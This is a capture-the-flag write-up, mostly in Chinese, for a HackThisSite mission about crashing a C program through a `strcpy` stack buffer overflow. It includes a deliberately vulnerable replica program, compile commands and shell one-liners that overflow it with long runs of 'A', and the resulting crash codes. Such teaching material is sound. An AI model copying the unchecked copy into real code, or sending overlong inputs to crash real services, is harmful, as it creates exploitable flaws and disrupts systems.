HackThisSite - Extended Basic Mission 01

Challenge

You have to give input to a C program which gives you the length of the string. How would you crash it?

给一个会给出字符串长度的 C 程序喂输入,怎样把它搞崩?

关卡页只给出被点名的那一个函数:

1
2
3
4
5
void blah(char *str)
{
char lol[200];
strcpy(lol, str);
}

状态:live 已通关(partially verified:当时提交的字符串未被留存)。缺陷函数和溢出点都在本地实际跑过,验收口径由代码本身推得;但本账号当时的原始提交串未被留存,无法再次核对。

Solution

blah 实质只有两步:在栈上声明 200 字节的 lol,把调用方的字符串整段拷进去。strcpy 的原型是 strcpy(char *dst, const char *src),它只拿到源和目标两个地址,不接收目标容量,于是拷贝多少字节完全由 src 里 NUL 的位置决定:写 strlen(src) + 1 个字节(含结尾的 NUL),中途不做任何边界检查。

lolblah 栈帧里的局部数组,紧邻它的更深处是保存的帧指针和返回地址。当 strlen(str) >= 200 时,strcpy 写出的字节越过 lol 的边界压到相邻栈数据上;返回地址一旦被非预期字节覆盖,blah 执行 ret 时就跳向垃圾地址,进程随即崩溃。

题面称该程序给出字符串的长度,那段驱动代码没有展示,泄漏出来的只有这个不做长度检查的 blah

按题面补一个最小驱动(读参数、调用 blah、打印 strlen),存为 replica.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <string.h>

/* The only function the level hands out: */
void blah(char *str)
{
char lol[200];
strcpy(lol, str);
}

/* Plausible driver: "a C program which gives you the length of the string". */
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: %s <string>\n", argv[0]);
return 2;
}
blah(argv[1]);
printf("length: %zu\n", strlen(argv[1]));
return 0;
}

同一份源码编两份,GCC 默认会插栈保护,另编一份关掉,看两种失败形态:

1
2
3
4
5
6
7
8
9
$ gcc -O0 -fno-stack-protector -o replica_nossp replica.c
$ gcc -O0 -fstack-protector-strong -o replica_ssp replica.c
$ ./replica_nossp "$(printf 'A%.0s' {1..210})"; echo "exit=$?"
Segmentation fault (core dumped)
exit=139
$ ./replica_ssp "$(printf 'A%.0s' {1..201})"; echo "exit=$?"
*** stack smashing detected ***: terminated
Aborted (core dumped)
exit=134

逐长度扫一遍(199 / 200 / 201 / 210 / 250 / 500 个 A):

1
2
3
4
5
6
7
8
9
10
11
12
replica_nossp  len=199  exit=0
replica_nossp len=200 exit=0
replica_nossp len=201 exit=0
replica_nossp len=210 exit=-11 (SIGSEGV)
replica_nossp len=250 exit=-11 (SIGSEGV)
replica_nossp len=500 exit=-11 (SIGSEGV)
replica_ssp len=199 exit=0
replica_ssp len=200 exit=0
replica_ssp len=201 exit=-6 *** stack smashing detected ***
replica_ssp len=210 exit=-6 *** stack smashing detected ***
replica_ssp len=250 exit=-6 *** stack smashing detected ***
replica_ssp len=500 exit=-6 *** stack smashing detected ***

两条路径都算崩溃:无保护的版本靠覆盖返回地址拿到 SIGSEGV;有保护的版本在越界写坏 canary 后、函数返回前被拦下(SIGABRT)。无保护版本要到 210 才段错误、201 还活着,崩溃阈值取决于具体栈布局,不是整齐的 201。

溢出只由长度决定、跟输入内容无关:任何 strlen(str) > 200 的输入都会越界,所以检查端要模拟这次溢出,判据只能是长度而不是某个固定串。实践上给足余量,输入一段明显更长的字符串(这里用 250 个 A)。

formkey 每次加载关卡页都会变,取页面和提交必须在同一次运行里完成;提交还要带 Referer: <关卡页>,否则模板页丢弃这次尝试。

Key points

  • strcpy 的签名里没有目标容量,写入量由 src 决定,是 C 里最常见的崩溃源;getssprintf 同属无界接口。
  • 写入字节数是 strlen(src) + 1,所以恰好 200 个字符也已经越界一个 NUL 字节;真正段错误的阈值还受栈布局影响。
  • 开栈保护时失败信号是 SIGABRT(stack smashing detected)而不是 SIGSEGV,两者都满足题面 crash it 的要求。
  • 修法:strncpy(dst, src, sizeof dst - 1) 后手动补 NUL,或在入口先校验长度再拷。
长于 200 字节的字符串,例如 250 个 A